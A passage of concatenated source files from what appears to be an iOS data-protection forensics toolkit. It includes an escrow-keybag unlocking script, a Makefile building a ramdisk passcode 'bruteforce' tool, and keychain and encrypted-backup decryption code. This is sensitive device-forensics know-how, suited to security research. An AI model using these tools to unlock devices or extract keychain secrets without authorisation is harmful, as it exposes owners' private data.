import plistlib 3 | from keystore.keybag import Keybag 4 | from util.ramdiskclient import RamdiskToolClient 5 | 6 | """ 7 | this wont work on iOS 5 unless the passcode was already bruteforced 8 | """ 9 | def escrow(): 10 | client = RamdiskToolClient() 11 | di = client.getDeviceInfos() 12 | key835 = di.get("key835").decode("hex") 13 | 14 | plist = os.environ["ALLUSERSPROFILE"] + "/Apple/Lockdown/%s.plist" % di["udid"] 15 | lockdown = plistlib.readPlist(plist) 16 | kb = Keybag.createWithDataSignBlob(lockdown["EscrowBag"].data, key835) 17 | 18 | keybags = di.setdefault("keybags", {}) 19 | kbuuid = kb.uuid.encode("hex") 20 | if not keybags.has_key(kbuuid): 21 | print lockdown["HostID"] 22 | res = client.getEscrowRecord(lockdown["HostID"]) 23 | bagkey = res.get("BagKey") 24 | print "Bag key" + bagkey.data.encode("hex") 25 | res = client.getPasscodeKey(lockdown["EscrowBag"].data, bagkey) 26 | print res 27 | passcodeKey = res["passcodeKey"].decode("hex") 28 | keybags[kbuuid] = {"KeyBagKeys": lockdown["EscrowBag"], 29 | "passcode": bagkey, 30 | "passcodeKey": passcodeKey.encode("hex")} 31 | pl.update(keybags[kbuuid]) 32 | else: 33 | passcodeKey = keybags[kbuuid].get("passcodeKey").decode("hex") 34 | 35 | print kb.unlockWithPasscodeKey(passcodeKey) 36 | kb.printClassKeys() 37 | 38 | escrow() -------------------------------------------------------------------------------- /ramdisk_tools/bsdcrypto/key_wrap.h: -------------------------------------------------------------------------------- 1 | /* $OpenBSD: key_wrap.h,v 1.1 2008/08/12 15:43:00 damien Exp $ */ 2 | 3 | /*- 4 | * Copyright (c) 2008 Damien Bergamini 5 | * 6 | * Permission to use, copy, modify, and distribute this software for any 7 | * purpose with or without fee is hereby granted, provided that the above 8 | * copyright notice and this permission notice appear in all copies. 9 | * 10 | * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES 11 | * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF 12 | * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR 13 | * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES 14 | * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN 15 | * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF 16 | * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. 17 | */ 18 | 19 | #ifndef _KEY_WRAP_H_ 20 | #define _KEY_WRAP_H_ 21 | 22 | typedef unsigned char u_int8_t; 23 | 24 | typedef struct _aes_key_wrap_ctx { 25 | rijndael_ctx ctx; 26 | } aes_key_wrap_ctx; 27 | 28 | #include 29 | 30 | __BEGIN_DECLS 31 | 32 | void aes_key_wrap_set_key(aes_key_wrap_ctx *, const u_int8_t *, size_t); 33 | void aes_key_wrap_set_key_wrap_only(aes_key_wrap_ctx *, const u_int8_t *, 34 | size_t); 35 | void aes_key_wrap(aes_key_wrap_ctx *, const u_int8_t *, size_t, u_int8_t *); 36 | int aes_key_unwrap(aes_key_wrap_ctx *, const u_int8_t *, u_int8_t *, 37 | size_t); 38 | __END_DECLS 39 | 40 | #endif /* _KEY_WRAP_H_ */ 41 | -------------------------------------------------------------------------------- /ramdisk_tools/Makefile: -------------------------------------------------------------------------------- 1 | SDKVER?=4.3 2 | SDK=/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS$(SDKVER).sdk/ 3 | CC:=$(wildcard /Developer/Platforms/iPhoneOS.platform/Developer/usr/bin/arm-apple-darwin10-*gcc*) 4 | CFLAGS=-Wall -isysroot $(SDK) 5 | CFLAGS_IOKIT=$(CFLAGS) -framework IOKit -framework CoreFoundation -framework Security -O3 -I. 6 | 7 | all: IOKit IOUSBDeviceControllerLib.h device_infos restored_external bruteforce 8 | 9 | IOUSBDeviceControllerLib.h: 10 | curl -o IOUSBDeviceControllerLib.h http://www.opensource.apple.com/source/IOKitUser/IOKitUser-502/usb_device.subproj/IOUSBDeviceControllerLib.h?txt 11 | 12 | IOKit: 13 | ln -s /System/Library/Frameworks/IOKit.framework/Versions/Current/Headers IOKit 14 | 15 | device_infos: device_infos.c device_info.c IOAESAccelerator.c AppleEffaceableStorage.c AppleKeyStore.c bsdcrypto/pbkdf2.c bsdcrypto/sha1.c bsdcrypto/key_wrap.c bsdcrypto/rijndael.c util.c IOKit.c registry.c 16 | $(CC) $(CFLAGS_IOKIT) -o $@ $^ 17 | ldid -S $@ 18 | 19 | restored_external: restored_external.c device_info.c remote_functions.c plist_server.c AppleKeyStore.c AppleEffaceableStorage.c IOKit.c IOAESAccelerator.c util.c registry.c AppleKeyStore_kdf.c bsdcrypto/pbkdf2.c bsdcrypto/sha1.c bsdcrypto/rijndael.c bsdcrypto/key_wrap.c 20 | $(CC) $(CFLAGS_IOKIT) -o $@ $^ 21 | ldid -Skeystore_device.xml $@ 22 | 23 | bruteforce: systemkb_bruteforce.c AppleKeyStore.c AppleEffaceableStorage.c IOKit.c IOAESAccelerator.c util.c registry.c AppleKeyStore_kdf.c bsdcrypto/pbkdf2.c bsdcrypto/sha1.c bsdcrypto/rijndael.c bsdcrypto/key_wrap.c device_info.c 24 | $(CC) $(CFLAGS_IOKIT) -o $@ $^ 25 | ldid -Skeystore_device.xml $@ 26 | 27 | clean: 28 | rm -f bruteforce restored_external device_infos 29 | 30 | rebuild: clean all 31 | -------------------------------------------------------------------------------- /emf_decrypter/includes/hfs/hfscompress.h: -------------------------------------------------------------------------------- 1 | #ifndef HFSCOMPRESS_H 2 | #define HFSCOMPRESS_H 3 | 4 | #include 5 | #include "common.h" 6 | 7 | #define CMPFS_MAGIC 0x636D7066 8 | 9 | typedef struct HFSPlusDecmpfs { 10 | uint32_t magic; 11 | uint32_t flags; 12 | uint64_t size; 13 | uint8_t data[0]; 14 | } __attribute__ ((packed)) HFSPlusDecmpfs; 15 | 16 | typedef struct HFSPlusCmpfRsrcHead { 17 | uint32_t headerSize; 18 | uint32_t totalSize; 19 | uint32_t dataSize; 20 | uint32_t flags; 21 | } __attribute__ ((packed)) HFSPlusCmpfRsrcHead; 22 | 23 | typedef struct HFSPlusCmpfRsrcBlock { 24 | uint32_t offset; 25 | uint32_t size; 26 | } __attribute__ ((packed)) HFSPlusCmpfRsrcBlock; 27 | 28 | typedef struct HFSPlusCmpfRsrcBlockHead { 29 | uint32_t dataSize; 30 | uint32_t numBlocks; 31 | HFSPlusCmpfRsrcBlock blocks[0]; 32 | } __attribute__ ((packed)) HFSPlusCmpfRsrcBlockHead; 33 | 34 | typedef struct HFSPlusCmpfEnd { 35 | uint32_t pad[6]; 36 | uint16_t unk1; 37 | uint16_t unk2; 38 | uint16_t unk3; 39 | uint32_t magic; 40 | uint32_t flags; 41 | uint64_t size; 42 | uint32_t unk4; 43 | } __attribute__ ((packed)) HFSPlusCmpfEnd; 44 | 45 | typedef struct HFSPlusCompressed { 46 | Volume* volume; 47 | HFSPlusCatalogFile* file; 48 | io_func* io; 49 | size_t decmpfsSize; 50 | HFSPlusDecmpfs* decmpfs; 51 | 52 | HFSPlusCmpfRsrcHead rsrcHead; 53 | HFSPlusCmpfRsrcBlockHead* blocks; 54 | 55 | int dirty; 56 | 57 | uint8_t* cached; 58 | uint32_t cachedStart; 59 | uint32_t cachedEnd; 60 | } HFSPlusCompressed; 61 | 62 | #ifdef __cplusplus 63 | extern "C" { 64 | #endif 65 | void flipHFSPlusDecmpfs(HFSPlusDecmpfs* compressData); 66 | io_func* openHFSPlusCompressed(Volume* volume, HFSPlusCatalogFile* file); 67 | #ifdef __cplusplus 68 | } 69 | #endif 70 | 71 | #endif 72 | -------------------------------------------------------------------------------- /python_scripts/keychain/keychain3.py: -------------------------------------------------------------------------------- 1 | from keychain import Keychain 2 | from crypto.aes import AESdecryptCBC 3 | import hashlib 4 | from Crypto.Cipher import AES 5 | 6 | class Keychain3(Keychain): 7 | def __init__(self, filename, key835=None): 8 | Keychain.__init__(self, filename) 9 | self.key835 = key835 10 | 11 | def decrypt_data(self, data): 12 | if data == None: 13 | return "" 14 | data = str(data) 15 | 16 | if not self.key835: 17 | print "Key 835 not availaible" 18 | return "" 19 | 20 | data = AESdecryptCBC(data[16:], self.key835, data[:16], padding=True) 21 | 22 | #data_column = iv + AES128_K835(iv, data + sha1(data)) 23 | if hashlib.sha1(data[:-20]).digest() != data[-20:]: 24 | print "data field hash mismatch : bad key ?" 25 | return "ERROR decrypting data : bad key ?" 26 | 27 | return data[:-20] 28 | 29 | def change_key835(self, newkey): 30 | tables = {"genp": "SELECT rowid, data FROM genp", 31 | "inet": "SELECT rowid, data FROM inet", 32 | "cert": "SELECT rowid, data FROM cert", 33 | "keys": "SELECT rowid, data FROM keys"} 34 | 35 | for t in tables.keys(): 36 | for row in self.conn.execute(tables[t]): 37 | rowid = row["rowid"] 38 | data = str(row["data"]) 39 | iv = data[:16] 40 | data = AES.new(self.key835, AES.MODE_CBC, iv).decrypt(data[16:]) 41 | data = AES.new(newkey, AES.MODE_CBC, iv).encrypt(data) 42 | data = iv + data 43 | data = buffer(data) 44 | self.conn.execute("UPDATE %s SET data=? WHERE rowid=?" % t, (data, rowid)) 45 | self.conn.commit() -------------------------------------------------------------------------------- /python_scripts/keychain/store.py: -------------------------------------------------------------------------------- 1 | import plistlib 2 | import sqlite3 3 | import struct 4 | from util import readPlist 5 | 6 | class KeychainStore(object): 7 | def __init__(self): 8 | pass 9 | 10 | def convertDict(self, d): 11 | return d 12 | 13 | def returnResults(self, r): 14 | for a in r: 15 | yield self.convertDict(a) 16 | 17 | def get_items(self, table): 18 | return [] 19 | 20 | class SQLiteKeychain(KeychainStore): 21 | def __init__(self, filename): 22 | self.conn = sqlite3.connect(filename) 23 | self.conn.row_factory = sqlite3.Row 24 | 25 | def convertDict(self, row): 26 | d = dict(row) 27 | for k,v in d.items(): 28 | if type(v) == buffer: 29 | d[k] = str(v) 30 | return d 31 | 32 | def get_items(self, table): 33 | sql = {"genp": "SELECT rowid, data, svce, acct, agrp FROM genp", 34 | "inet": "SELECT rowid, data, acct, srvr, port, agrp FROM inet", 35 | "cert": "SELECT rowid, data, pkhh, agrp FROM cert", 36 | "keys": "SELECT rowid, data, klbl, agrp FROM keys"} 37 | return self.returnResults(self.conn.execute(sql[table])) 38 | 39 | class PlistKeychain(KeychainStore): 40 | def __init__(self, filename): 41 | self.plist = readPlist(filename) 42 | 43 | def convertDict(self, d): 44 | for k, v in d.items(): 45 | if isinstance(v, plistlib.Data): 46 | if k == "v_Data": 47 | d["data"] = v.data 48 | elif k == "v_PersistentRef": 49 | #format tablename (4 chars) + rowid (64 bits) 50 | d["rowid"] = struct.unpack(" 2 | #include 3 | #include 4 | #include 5 | #include "AppleEffaceableStorage.h" 6 | #include "IOKit.h" 7 | 8 | int AppleEffaceableStorage__getLocker(uint32_t lockerId, uint8_t* buffer, size_t len) { 9 | uint64_t outScalar = 0; 10 | uint32_t one = 1; 11 | uint64_t inScalar = lockerId; 12 | 13 | return IOKit_call("AppleEffaceableStorage", 14 | kAppleEffaceableStorageGetLocker, 15 | &inScalar, 16 | 1, 17 | NULL, 18 | 0, 19 | &outScalar, 20 | &one, 21 | buffer, 22 | &len); 23 | } 24 | 25 | int AppleEffaceableStorage__getBytes(uint8_t* buffer, size_t len) 26 | { 27 | const uint64_t offset = 0; 28 | 29 | return IOKit_call("AppleEffaceableStorage", 30 | kAppleEffaceableStorageGetBytes, 31 | &offset, 32 | 1, 33 | NULL, 34 | 0, 35 | NULL, 36 | NULL, 37 | buffer, 38 | &len); 39 | } 40 | 41 | 42 | int AppleEffaceableStorage__getLockerFromBytes(uint32_t tag, uint8_t* lockers, size_t lockers_len, uint8_t* buffer, size_t len) 43 | { 44 | struct EffaceableLocker* p = (struct EffaceableLocker*) lockers; 45 | unsigned int i=0; 46 | 47 | while (i < lockers_len) 48 | { 49 | //printf("p->magic=%x\n", p->magic); 50 | if (p->magic != 'Lk') //0x4c6B 51 | break; 52 | if (p->len == 0 || ((i+8+p->len) > lockers_len)) 53 | break; 54 | //printf("p->tag=%x\n", p->tag); 55 | if ((p->tag & ~0x80000000) == tag) 56 | { 57 | len = len < p->len ? len : p->len; 58 | memcpy(buffer, p->data, len); 59 | return 0; 60 | } 61 | i = i + 8 + p->len; 62 | p = (struct EffaceableLocker*) (&lockers[i]); 63 | } 64 | return -1; 65 | 66 | } 67 | -------------------------------------------------------------------------------- /emf_decrypter/includes/abstractfile.h: -------------------------------------------------------------------------------- 1 | #ifndef ABSTRACTFILE_H 2 | #define ABSTRACTFILE_H 3 | 4 | #include "common.h" 5 | #include 6 | 7 | typedef struct AbstractFile AbstractFile; 8 | typedef struct AbstractFile2 AbstractFile2; 9 | 10 | typedef size_t (*WriteFunc)(AbstractFile* file, const void* data, size_t len); 11 | typedef size_t (*ReadFunc)(AbstractFile* file, void* data, size_t len); 12 | typedef int (*SeekFunc)(AbstractFile* file, off_t offset); 13 | typedef off_t (*TellFunc)(AbstractFile* file); 14 | typedef void (*CloseFunc)(AbstractFile* file); 15 | typedef off_t (*GetLengthFunc)(AbstractFile* file); 16 | typedef void (*SetKeyFunc)(AbstractFile2* file, const unsigned int* key, const unsigned int* iv); 17 | 18 | typedef enum AbstractFileType { 19 | AbstractFileTypeFile, 20 | AbstractFileType8900, 21 | AbstractFileTypeImg2, 22 | AbstractFileTypeImg3, 23 | AbstractFileTypeLZSS, 24 | AbstractFileTypeIBootIM, 25 | AbstractFileTypeMem, 26 | AbstractFileTypeMemFile, 27 | AbstractFileTypeDummy 28 | } AbstractFileType; 29 | 30 | struct AbstractFile { 31 | void* data; 32 | WriteFunc write; 33 | ReadFunc read; 34 | SeekFunc seek; 35 | TellFunc tell; 36 | GetLengthFunc getLength; 37 | CloseFunc close; 38 | AbstractFileType type; 39 | }; 40 | 41 | struct AbstractFile2 { 42 | AbstractFile super; 43 | SetKeyFunc setKey; 44 | }; 45 | 46 | 47 | typedef struct { 48 | size_t offset; 49 | void** buffer; 50 | size_t bufferSize; 51 | } MemWrapperInfo; 52 | 53 | typedef struct { 54 | size_t offset; 55 | void** buffer; 56 | size_t* bufferSize; 57 | size_t actualBufferSize; 58 | } MemFileWrapperInfo; 59 | 60 | #ifdef __cplusplus 61 | extern "C" { 62 | #endif 63 | AbstractFile* createAbstractFileFromFile(FILE* file); 64 | AbstractFile* createAbstractFileFromDummy(); 65 | AbstractFile* createAbstractFileFromMemory(void** buffer, size_t size); 66 | AbstractFile* createAbstractFileFromMemoryFile(void** buffer, size_t* size); 67 | AbstractFile* createAbstractFileFromMemoryFileBuffer(void** buffer, size_t* size, size_t actualBufferSize); 68 | void abstractFilePrint(AbstractFile* file, const char* format, ...); 69 | io_func* IOFuncFromAbstractFile(AbstractFile* file); 70 | #ifdef __cplusplus 71 | } 72 | #endif 73 | 74 | #endif 75 | 76 | -------------------------------------------------------------------------------- /python_scripts/util/lzss.py: -------------------------------------------------------------------------------- 1 | """ 2 | /************************************************************** 3 | LZSS.C -- A Data Compression Program 4 | *************************************************************** 5 | 4/6/1989 Haruhiko Okumura 6 | Use, distribute, and modify this program freely. 7 | Please send me your improved versions. 8 | PC-VAN SCIENCE 9 | NIFTY-Serve PAF01022 10 | CompuServe 74050,1022 11 | 12 | **************************************************************/ 13 | /* 14 | * lzss.c - Package for decompressing lzss compressed objects 15 | * 16 | * Copyright (c) 2003 Apple Computer, Inc. 17 | * 18 | * DRI: Josh de Cesare 19 | */ 20 | """ 21 | from array import array 22 | import struct 23 | 24 | N = 4096 25 | F = 18 26 | THRESHOLD = 2 27 | NIL = N 28 | 29 | def decompress_lzss(str): 30 | if str[:8] !="complzss": 31 | print "decompress_lzss: complzss magic missing" 32 | return 33 | decompsize = struct.unpack(">L", str[12:16])[0] 34 | text_buf = array("B", " "*(N + F - 1)) 35 | src = array("B", str[0x180:]) 36 | srclen = len(src) 37 | dst = array("B", " "*decompsize) 38 | r = N - F 39 | srcidx, dstidx, flags, c = 0, 0, 0, 0 40 | 41 | while True: 42 | flags >>= 1 43 | if ((flags & 0x100) == 0): 44 | if (srcidx >= srclen): 45 | break 46 | c = src[srcidx]; srcidx += 1 47 | flags = c | 0xFF00; 48 | 49 | if (flags & 1): 50 | if (srcidx >= srclen): 51 | break 52 | c = src[srcidx]; srcidx += 1 53 | dst[dstidx] = c; dstidx += 1 54 | text_buf[r] = c; r += 1 55 | r &= (N - 1); 56 | else: 57 | if (srcidx >= srclen): 58 | break 59 | i = src[srcidx]; srcidx += 1 60 | if (srcidx >= srclen): 61 | break 62 | j = src[srcidx]; srcidx += 1 63 | i |= ((j & 0xF0) << 4) 64 | j = (j & 0x0F) + THRESHOLD 65 | for k in xrange(j+1): 66 | c = text_buf[(i + k) & (N - 1)] 67 | dst[dstidx] = c; dstidx += 1 68 | text_buf[r] = c; r += 1 69 | r &= (N - 1) 70 | return dst.tostring() 71 | 72 | -------------------------------------------------------------------------------- /python_scripts/backups/backup3.py: -------------------------------------------------------------------------------- 1 | import hashlib,struct,glob,sys,os 2 | from crypto.PBKDF2 import PBKDF2 3 | from util.bplist import BPlistReader 4 | from Crypto.Cipher import AES 5 | from util import read_file, write_file, makedirs, readPlist 6 | 7 | """ 8 | decrypt iOS 3 backup blob (metadata and file contents) 9 | """ 10 | 11 | def decrypt_blob(blob, auth_key): 12 | len = struct.unpack(">H", blob[0:2])[0] 13 | if len != 66: 14 | print "blob len != 66" 15 | magic = struct.unpack(">H", blob[2:4])[0] 16 | if magic != 0x0100: 17 | print "magic != 0x0100" 18 | iv = blob[4:20] 19 | 20 | blob_key = AES.new(auth_key, AES.MODE_CBC, iv).decrypt(blob[20:68])[:32] 21 | 22 | return AES.new(blob_key, AES.MODE_CBC, iv).decrypt(blob[68:]) 23 | 24 | def decrypt_backup3(backupfolder, outputfolder, passphrase): 25 | auth_key = None 26 | manifest = readPlist(backupfolder + "/Manifest.plist") 27 | 28 | if manifest["IsEncrypted"]: 29 | manifest_data = manifest["Data"].data 30 | 31 | authdata = manifest["AuthData"].data 32 | 33 | pkbdf_salt = authdata[:8] 34 | iv = authdata[8:24] 35 | key = PBKDF2(passphrase,pkbdf_salt,iterations=2000).read(32) 36 | 37 | data = AES.new(key, AES.MODE_CBC, iv).decrypt(authdata[24:]) 38 | auth_key = data[:32] 39 | 40 | if hashlib.sha1(auth_key).digest() != data[32:52]: 41 | print "wrong auth key (hash mismatch) => wrong passphrase" 42 | return 43 | 44 | print "Passphrase seems OK" 45 | 46 | for mdinfo_name in glob.glob(backupfolder + "/*.mdinfo"): 47 | 48 | mddata_name = mdinfo_name[:-7] + ".mddata" 49 | mdinfo = BPlistReader.plistWithFile(mdinfo_name) 50 | metadata = mdinfo["Metadata"].data 51 | if mdinfo["IsEncrypted"]: 52 | metadata = decrypt_blob(mdinfo["Metadata"], auth_key) 53 | metadata = BPlistReader.plistWithString(metadata) 54 | 55 | print metadata["Path"] 56 | 57 | filedata = read_file(mddata_name) 58 | if mdinfo["IsEncrypted"]: 59 | filedata = decrypt_blob(filedata, auth_key) 60 | 61 | filename = metadata["Path"] 62 | makedirs(outputfolder + "/" + os.path.dirname(filename)) 63 | write_file(outputfolder + "/" + filename, filedata) 64 | -------------------------------------------------------------------------------- /emf_decrypter/hfs/flatfile.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | static int flatFileRead(io_func* io, off_t location, size_t size, void *buffer) { 5 | FILE* file; 6 | file = (FILE*) io->data; 7 | 8 | if(size == 0) { 9 | return TRUE; 10 | } 11 | 12 | //printf("%d %d\n", location, size); fflush(stdout); 13 | 14 | if(fseeko(file, location, SEEK_SET) != 0) { 15 | perror("fseek"); 16 | return FALSE; 17 | } 18 | 19 | if(fread(buffer, size, 1, file) != 1) { 20 | perror("fread"); 21 | return FALSE; 22 | } else { 23 | return TRUE; 24 | } 25 | } 26 | 27 | static int flatFileWrite(io_func* io, off_t location, size_t size, void *buffer) { 28 | FILE* file; 29 | 30 | /*int i; 31 | 32 | printf("write: %lld %d - ", location, size); fflush(stdout); 33 | 34 | for(i = 0; i < size; i++) { 35 | printf("%x ", ((unsigned char*)buffer)[i]); 36 | fflush(stdout); 37 | } 38 | printf("\n"); fflush(stdout);*/ 39 | 40 | if(size == 0) { 41 | return TRUE; 42 | } 43 | 44 | file = (FILE*) io->data; 45 | 46 | if(fseeko(file, location, SEEK_SET) != 0) { 47 | perror("fseek"); 48 | return FALSE; 49 | } 50 | 51 | if(fwrite(buffer, size, 1, file) != 1) { 52 | perror("fwrite"); 53 | return FALSE; 54 | } else { 55 | return TRUE; 56 | } 57 | 58 | return TRUE; 59 | } 60 | 61 | static void closeFlatFile(io_func* io) { 62 | FILE* file; 63 | 64 | file = (FILE*) io->data; 65 | 66 | fclose(file); 67 | free(io); 68 | } 69 | 70 | io_func* openFlatFile(const char* fileName) { 71 | io_func* io; 72 | 73 | io = (io_func*) malloc(sizeof(io_func)); 74 | io->data = fopen(fileName, "rb+"); 75 | 76 | if(io->data == NULL) { 77 | perror("fopen"); 78 | return NULL; 79 | } 80 | 81 | io->read = &flatFileRead; 82 | io->write = &flatFileWrite; 83 | io->close = &closeFlatFile; 84 | 85 | return io; 86 | } 87 | 88 | io_func* openFlatFileRO(const char* fileName) { 89 | io_func* io; 90 | 91 | io = (io_func*) malloc(sizeof(io_func)); 92 | io->data = fopen(fileName, "rb"); 93 | 94 | if(io->data == NULL) { 95 | perror("fopen"); 96 | return NULL; 97 | } 98 | 99 | io->read = &flatFileRead; 100 | io->write = &flatFileWrite; 101 | io->close = &closeFlatFile; 102 | 103 | return io; 104 | } 105 | -------------------------------------------------------------------------------- /ramdisk_tools/image.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int screenWidth, screenHeight; 7 | CGContextRef context = NULL; 8 | 9 | CGContextRef fb_open() { 10 | io_connect_t conn = NULL; 11 | int bytesPerRow; 12 | void *surfaceBuffer; 13 | void *frameBuffer; 14 | CGColorSpaceRef colorSpace; 15 | 16 | if (context != NULL) 17 | return context; 18 | 19 | io_service_t fb_service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleCLCD")); 20 | if (!fb_service) { 21 | fb_service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleM2CLCD")); 22 | if (!fb_service) { 23 | printf("Couldn't find framebuffer.\n"); 24 | return NULL; 25 | } 26 | } 27 | 28 | IOMobileFramebufferOpen(fb_service, mach_task_self(), 0, &conn); 29 | IOMobileFramebufferGetLayerDefaultSurface(conn, 0, &surfaceBuffer); 30 | 31 | screenHeight = CoreSurfaceBufferGetHeight(surfaceBuffer); 32 | screenWidth = CoreSurfaceBufferGetWidth(surfaceBuffer); 33 | bytesPerRow = CoreSurfaceBufferGetBytesPerRow(surfaceBuffer); 34 | 35 | CoreSurfaceBufferLock(surfaceBuffer, 3); 36 | frameBuffer = CoreSurfaceBufferGetBaseAddress(surfaceBuffer); 37 | CoreSurfaceBufferUnlock(surfaceBuffer); 38 | 39 | // create bitmap context 40 | colorSpace = CGColorSpaceCreateDeviceRGB(); 41 | context = CGBitmapContextCreate(frameBuffer, screenWidth, screenHeight, 8, bytesPerRow, colorSpace, kCGImageAlphaPremultipliedLast); 42 | if(context == NULL) { 43 | printf("Couldn't create screen context!\n"); 44 | return NULL; 45 | } 46 | 47 | CGColorSpaceRelease(colorSpace); 48 | 49 | return context; 50 | } 51 | 52 | int drawImage(const char* pngFileName) 53 | { 54 | CGContextRef c = fb_open(); 55 | if (c == NULL) 56 | return -1; 57 | 58 | CFURLRef url = CFURLCreateFromFileSystemRepresentation(kCFAllocatorDefault, pngFileName, strlen(pngFileName), 0); 59 | void* imageSource = CGImageSourceCreateWithURL(url, NULL); 60 | CFRelease(url); 61 | 62 | if (imageSource != NULL) 63 | { 64 | CGImageRef img = CGImageSourceCreateImageAtIndex(imageSource, 0, NULL); 65 | if (img != NULL) 66 | { 67 | CGContextClearRect (c, CGRectMake(0, 0, screenWidth, screenHeight)); 68 | CGContextDrawImage(c, CGRectMake(0, 0, screenWidth, screenHeight), img); 69 | } 70 | } 71 | return 0; 72 | } 73 | -------------------------------------------------------------------------------- /ramdisk_tools/bsdcrypto/rijndael.h: -------------------------------------------------------------------------------- 1 | /* $OpenBSD: rijndael.h,v 1.13 2008/06/09 07:49:45 djm Exp $ */ 2 | 3 | /** 4 | * rijndael-alg-fst.h 5 | * 6 | * @version 3.0 (December 2000) 7 | * 8 | * Optimised ANSI C code for the Rijndael cipher (now AES) 9 | * 10 | * @author Vincent Rijmen 11 | * @author Antoon Bosselaers 12 | * @author Paulo Barreto 13 | * 14 | * This code is hereby placed in the public domain. 15 | * 16 | * THIS SOFTWARE IS PROVIDED BY THE AUTHORS ''AS IS'' AND ANY EXPRESS 17 | * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 18 | * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE 20 | * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR 23 | * BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, 24 | * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE 25 | * OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, 26 | * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 27 | */ 28 | #ifndef __RIJNDAEL_H 29 | #define __RIJNDAEL_H 30 | 31 | #define AES_MAXKEYBITS (256) 32 | #define AES_MAXKEYBYTES (AES_MAXKEYBITS/8) 33 | /* for 256-bit keys, fewer for less */ 34 | #define AES_MAXROUNDS 14 35 | 36 | typedef unsigned char u_char; 37 | typedef unsigned char u8; 38 | typedef unsigned short u16; 39 | typedef unsigned int u32; 40 | 41 | /* The structure for key information */ 42 | typedef struct { 43 | int enc_only; /* context contains only encrypt schedule */ 44 | int Nr; /* key-length-dependent number of rounds */ 45 | u32 ek[4*(AES_MAXROUNDS + 1)]; /* encrypt key schedule */ 46 | u32 dk[4*(AES_MAXROUNDS + 1)]; /* decrypt key schedule */ 47 | } rijndael_ctx; 48 | 49 | int rijndael_set_key(rijndael_ctx *, const u_char *, int); 50 | int rijndael_set_key_enc_only(rijndael_ctx *, const u_char *, int); 51 | void rijndael_decrypt(rijndael_ctx *, const u_char *, u_char *); 52 | void rijndael_encrypt(rijndael_ctx *, const u_char *, u_char *); 53 | 54 | int rijndaelKeySetupEnc(unsigned int [], const unsigned char [], int); 55 | int rijndaelKeySetupDec(unsigned int [], const unsigned char [], int); 56 | void rijndaelEncrypt(const unsigned int [], int, const unsigned char [], 57 | unsigned char []); 58 | 59 | #endif /* __RIJNDAEL_H */ 60 | -------------------------------------------------------------------------------- /python_scripts/crypto/curve25519.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util import number 2 | 3 | CURVE_P = (2**255 - 19) 4 | CURVE_A = 121665 5 | 6 | def curve25519_monty(x1, z1, x2, z2, qmqp): 7 | a = (x1 + z1) * (x2 - z2) % CURVE_P 8 | b = (x1 - z1) * (x2 + z2) % CURVE_P 9 | x4 = (a + b) * (a + b) % CURVE_P 10 | 11 | e = (a - b) * (a - b) % CURVE_P 12 | z4 = e * qmqp % CURVE_P 13 | 14 | a = (x1 + z1) * (x1 + z1) % CURVE_P 15 | b = (x1 - z1) * (x1 - z1) % CURVE_P 16 | x3 = a * b % CURVE_P 17 | 18 | g = (a - b) % CURVE_P 19 | h = (a + CURVE_A * g) % CURVE_P 20 | z3 = (g * h) % CURVE_P 21 | 22 | return x3, z3, x4, z4 23 | 24 | def curve25519_mult(n, q): 25 | nqpqx, nqpqz = q, 1 26 | nqx, nqz = 1, 0 27 | 28 | for i in range(255, -1, -1): 29 | if (n >> i) & 1: 30 | nqpqx,nqpqz,nqx,nqz = curve25519_monty(nqpqx, nqpqz, nqx, nqz, q) 31 | else: 32 | nqx,nqz,nqpqx,nqpqz = curve25519_monty(nqx, nqz, nqpqx, nqpqz, q) 33 | return nqx, nqz 34 | 35 | def curve25519(secret, basepoint): 36 | a = ord(secret[0]) 37 | a &= 248 38 | b = ord(secret[31]) 39 | b &= 127 40 | b |= 64 41 | s = chr(a) + secret[1:-1] + chr(b) 42 | 43 | s = number.bytes_to_long(s[::-1]) 44 | basepoint = number.bytes_to_long(basepoint[::-1]) 45 | 46 | x, z = curve25519_mult(s, basepoint) 47 | zmone = number.inverse(z, CURVE_P) 48 | z = x * zmone % CURVE_P 49 | return number.long_to_bytes(z)[::-1] 50 | 51 | 52 | if __name__ == "__main__": 53 | from crypto.aeswrap import AESUnwrap 54 | from Crypto.Hash import SHA256 55 | 56 | z="04000000080000000200000048000000000000000000000000000000000000000000000002917dc2542198edeb1078c4d1ebab74d9ca87890657ba02b9825dadf20a002f44360c6f87743fac0236df1f9eedbea801e31677aef3a09adfb4e10a37ae27facf419ab3ea3f39f4".decode("hex") 57 | 58 | mysecret = "99b66345829d8c05041eea1ba1ed5b2984c3e5ec7a756ef053473c7f22b49f14".decode("hex") 59 | mypublic = "b1c652786697a5feef36a56f36fde524a21193f4e563627977ab515f600fdb3a".decode("hex") 